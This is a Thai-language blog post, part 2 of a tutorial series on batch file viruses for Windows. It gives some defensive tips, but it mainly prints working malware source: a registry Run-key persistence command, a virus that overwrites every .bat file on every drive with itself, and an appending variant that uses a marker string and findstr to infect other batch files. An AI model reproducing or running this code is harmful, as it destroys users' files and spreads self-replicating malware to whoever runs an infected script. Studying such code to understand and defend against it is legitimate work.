วันศุกร์ที่ 7 มิถุนายน พ.ศ. 2556

ทำความเข้าใจ Batch File Virus ตอนที่ 2

      โดยหลักแล้ว...ผู้ที่ศึกษาแบตซ์ไฟล์สำหรับเด็กรุ่นใหม่ๆ มักจะหาทางเขียนไวรัสผ่านคำสั่งเหล่านี้ แต่เว็บที่สอนโดยทั่วๆ ไป นั้นสอนเพียง Logic Bomb และ Reg Edit File ซึ่งเป็นเพียงการปิดออปชั่นบางตัวของระบบปฏิบัติการ หรือ ง่ายสอนแบบทื่อ...ๆ เลย ก็เรียก Shutdown.exe มาทำการตั้งเวลาปิดเครื่อง...โอย... เนี้ยๆ นะไวรัส ไม่ใช่ว่าผมเก่งหรืออยากประกาศศักดาอะไรนักหนาหลอกนะครับ...แต่ทางทฤษฎีแล้ว พวกนั้น...ไม่ได้ใกล้เคียงคำว่า "ไวรัสคอมพิวเตอร์" แม่แต่น้อย
      ไวรัสในธรรมชาตินั้น มันสามารถ "ขยายพันธ์ได้" และ "ดำรงชีวิตอยู่ได้้ด้วยตัวเอง" นั้นแหละครับการเขียนไวรัสคอมพิวเตอร์เช่นกัน "มันต้องเป็นคำสั่งที่มีชีิวิต" "อาศัยคอมพิวเตอร์เพื่อรอโอกาศได้" "แพร่ขยายตัวเองและจำนวนได้" ถ้าคุณเขียนมันได้อย่างนี้ซิ...ถึงเรียกว่า "ไวรัสคอมพิวเตอร์"

และจะเขียนมันยังไงให้มีชีวิต?
      1. ดักรอสถานการณ์การเรียกใช้แฟ้มพาหะ
      2. ดักรอสถานการณ์การเปิดเครื่องและเรียกผ่าน Key Startup หรือ Start Up Folder

และจะขยายจำนวนยังไง...?
      1. ผ่านคำสั่ง Find.exe หรือ Findstr ของ Cmd.exe
      2. ผ่านเงื่อนไขตัวมันเองด้วย for /f "tokens=...
      3. คัดลอกตัวเองต่อท้ายเลยให้คำสั่งวินาศสันตะโร ด้วย Copy file1.bat+virus.bat
      4. แทนทีคำสั่งเป้าหมายด้วยไวรัสเสียเลย @echo %0.bat>file1.bat
      5. อีำกเยอะ...วิธีการในการแพร่เชื้อไวรัสและให้มันมีชีวิต...แล้วแต่จะประยุกต์คำสั่งเอง

ไม่ผิดหลักจริยธรรมและกฎหมายหรือถ้าสอนเขียนมัน?
      ด้วยเจตจำนงของผู้เขียนเอง...นำเสนอเนื้อหาไม่ใช่เพื่อความสนุกคึกคนอง หรือ อยากลองวิชา...แต่เกิดจา่กประสบการณ์ และการลองผิดลองถูกในการศึกษาด้านความปลอดภัยของเครื่องคอมพิวเตอร์กว่า 10 ปี แรกๆ อาจจะสนุกๆ และอยากลองวิชา...แต่ด้วยวัยวุฒิและฐานะแล้ว ขอรับประกันว่าเนื้อหาที่นำเสนอ...เป็นพื้นฐานในการศึกษาความปลอดภัยของระบบปฏิบัติการวินโดวส์ เพื่อให้รู้เท่าทันว่า...จุดอ่อนมันอยู่ที่ไหน... และโปรแกรมพวกนี้ทำงานอย่างไร (ไม่ใช่ว่ามีแต่ทฤษฎีไวรัสคอมพิวเตอร์เพียงในตำรา...แต่มันทำงานและเขียนอย่างไรก็ไม่รู้) ผู้เขียนจะเน้นอธิบายการสร้างและการป้องกันพวกมัน...เบื้องต้น...ให้ต่อยอดความคิดที่จะป้องกันไวรัสระดับที่สูงขึ้นไปเ่ช่น TSR ไวรัส หรือไวรัสโพลิมอฟิก ตัวมันได้ จริยธรรมและกฎหมายเอื้อต่อการ "ผ่าพิสูจน์ศพมนุษย์ ฉันท์ใด การทดลองไวรัสที่ไม่มีพิษภัย...เพื่อแยกคำสั่งตับไตใส้พุ่งมันมาศึกษา...ก็เป็นประโยชน์และบริสุทธิ์ฉันท์นั้น"

มันจะเป็นอันตรายมากไหม...หากจะผ่าพิสูจน์ไวรัสในบล็อกนี้?
1. สิ่งที่คุณต้องเตรียมคือ...สติ...ไม่ใช่ "ก็อป" และ "วาง" และ "รัน" ตูม.... (มันไม่ได้อันตรายขนาดนั้นแต่ถ้าเป็นแค่เด็กร้อนวิชา...เนื้อหาไม่อ่าน...แต่คัดลอกแค่โค้ดและึความมันส์เท่านั้น...ก็น่าเป็นห่วง)
2. ไม่ต้องเก่งแบตซ์แบบเทพ...แต่ต้องมีพื้นฐาน DOS ที่ปูไว้ 8 ตอน ในบล็อก แรกก่อน...ถ้าไม่มี...แนะนำให้กลับไปอ่านก่อน
3.ไวรัสแบตช์ไฟล์...เป็นเพียงไวรัสกระจอก "ย้ำ" ไวรัสกระจอก "แฮกเกอร์เขาไม่ใช้มันทำงานจริง" ฉนั้นถ้าคุณคิดว่าเข้าใจบล็อกนี้ทะลุปุโปร่งและจะไปรบราฆ่าฟันกับ "แฮกเกอร์" คิดผิดและท่าน
4.สำคัญยิ่งคือ คิดและต่อยอดความคิดว่า...ไวรัสบนโลกมาจากช่องทางที่เปิดไว้หรือถูกทะลุทะลวงด้วยจินตนาการของแฮกเกอร์ ฉนั้น...ตัวอย่างในบล็อกนี้เป็นเพียง "รูหนูเก่าๆ ระบบปฏิบัติการวินโดวส์" คุณอาจจะต้องศึกษาเพิ่ม...และจินตการถึงความเป็นไปได้ให้มากที่สุดว่า..."ไวรัสที่เหนือกว่าทำงานอย่างไร...และเขียนขึ้นอย่างไร"

เนื้อหา...ที่ 1 ช่องทางการเข้าถึงไฟล์
1. ดักรอที่ Start Up Folder
นี้ถือเป็นวิธีที่ง่ายที่สุดเท่าที่เคยมีมาในการ "แฮกส์" ทำไมนะหรือ...คุณจับอะไรยัดใส่โฟลเดอร์นี้มันจะทำงานทันที ด้วยเหตุผลที่ว่า...มันจะจะทำงานทุกๆ ครั้งที่ิเปิดเครื่อง มันอยู่ที่ไหน...และจะใส่ไฟล์ไปได้ยังไง...ทำตามนี้...
1.1. คลิก Start ไปที่ Programs File...Startup คลิกขวา เลือก Open all users
1.2. จากนั้นวาง "ภาพผี และเสียง .mp3" อุ้ย...ไม่ใช่วางหรือสั่งไวรัสคัดลอกตัวเองมาที่โฟลเดอร์นี้เพื่อเรียกตัวมันทำงานทุกครั้งที่เปิดเครืิ่อง...เพื่อคัดลอกตัวเองไปที่อื่น
วิธีป้องกัน...คือ
ลบไฟล์ในโฟลเดอร์นี้ทิ้ง แค่นี้ก็เรียบร้อย

2. ดักรอที่ Start Up Key
2.1. ใช้คำสั่งนี้
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ชื่อคีย์ไวรัส" /d "Path ที่อยู่ไวรัสที่จะรัน"
2.2. และจะรู้ได้ยังไงว่า...มันอยู่ในระบบแล้ว
2.2.1. เรียก Msconfig ดูที่ Startup ว่ามันทำงานอยู่หรือเปล่า
2.2.2. ใช้คำสั่งนี้
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"
ดูว่ามีมันอยู่ใน Hive นั้นหรือเปล่า
วิธีป้องกัน...คือ
ลบคีย์ไวรัสที่มีอยู่ใน Msconfig ทิ้งซะ

3. ฝังคำสั่งเรียกตัวมันใน "พาหะ" ติดเชื้อ
วิธีนี้บ่งบอกถึงความเป็นเทพในตัวคุณ แหละ...เพราะมันเป็นไวรัสที่กำจัดยาก...ไม่เหมือน "ยุง" ที่เกาะและแค่ตบก็ตายอย่าง 2 วิธีแรก ... แต่ตอนนี้...คุณกำลังเขียนไวรัสที่เป็น "พยาธิ" ซะแล้ว เริ่มเลย...เบบี้สุดๆ วิธีที่
3.1.ไวรัสเขียนทับไฟล์
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
rem ค้นหาไดร์ฟทั้งหมด
  for /r %%d:\ %%f in (*.bat) do (
rem หาแบตซ์ไฟล์ทั้งหมดในไดร์ฟนั้น
    Type %0.bat>%%f
rem เขียนคำสั่งที่มีอยู่ทับซะเลย
  )
)
***ความอันตรายสูง...ไวรัสตัวนี้ต่อระบบปฏิบัติการวินโดวส์มีแค่ มันจะทำลายแฟ้ม .BAT, .CMD ให้เป็นตัวไวรัสเอง...รอผู้หลงหรือไม่รู้ คัดลอกแฟ้มนี้ไปที่อื่น...ไปรันมันก็จะเกิดสถานะการณ์เดียวกันกับตอนแรก วนไปซ้ำ...ๆ แต่ก่อนที่มันจะสามารถแพร่เชื้อไปได้มากกว่านี้...มันต้องตายก่อนเพราะ "ความโง่" ด้วยหลักการที่ว่า "ไวรัสใด...ทำลายพาหะติดเชื้อโอกาศรอดในธรรมชาติมีต่ำมาก เพราะจะุถูกจับผิดได้เสียก่อน"

2. ไวรัสแบบเขียนต่อเติมไฟล์ (พัฒนาจากตัวเมื่อกี้)
%VirusBatchFile%rem
%VirusBatchFile%for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
%VirusBatchFile%  for /r %%d:\ %%f in (*.bat) do (
%VirusBatchFile%    findstr "VirusBatchFile" %%f
%VirusBatchFile%    if errorlevel 0 (
%VirusBatchFile%      findstr "VirusBatchFile" %%0.bat>>%%f
%VirusBatchFile%    )
%VirusBatchFile%  )
%VirusBatchFile%)
***ความอันตรายปานกลาง...ไวรัสตัวนี้...เรียกกว่ากลายพันธ์จากตัวเมื่อกี้นิสส์นึง...โดยให้ไวรัสมีรหัสพันธุกรรม คือ %VirusBatchFile% นำหน้า "และมีมันไว้ทำไม...?" มันมีไว้เพื่อให้คำสั่ง FindStr ค้นหาว่าแฟ้มเป้าหมา่ยติดเชื้อหรือยัง...ถ้ายัง...ส่งผลการค้นหา (บรรทัดที่พบ) ไปยั้งแฟ้มเป้าหมาย ไวรัสตัวนี้...โอกาศรอดสูงมาก...เพราะมันไม่ได้ส่งผลต่อคำสั่งของ "พาหะ" แต่มันจะอยู่ร่วมกับพาหะ...ในส่วนท้ายของคำสั่ง แต่อย่างไร...ผู้ที่เขียนแบตซ์็ไฟล์จะรู้ว่า...คำสั่งทำงานช้าลง...หรือผิดปกติบางอย่างทุกๆ ครั้งที่รันได้ถ้ามีประสบการณ์

ต่อใน ตอน 3 เพื่อศึกษาไวรัสในระดับที่สูงขึ้นไปอีก

ไม่มีความคิดเห็น:

แสดงความคิดเห็น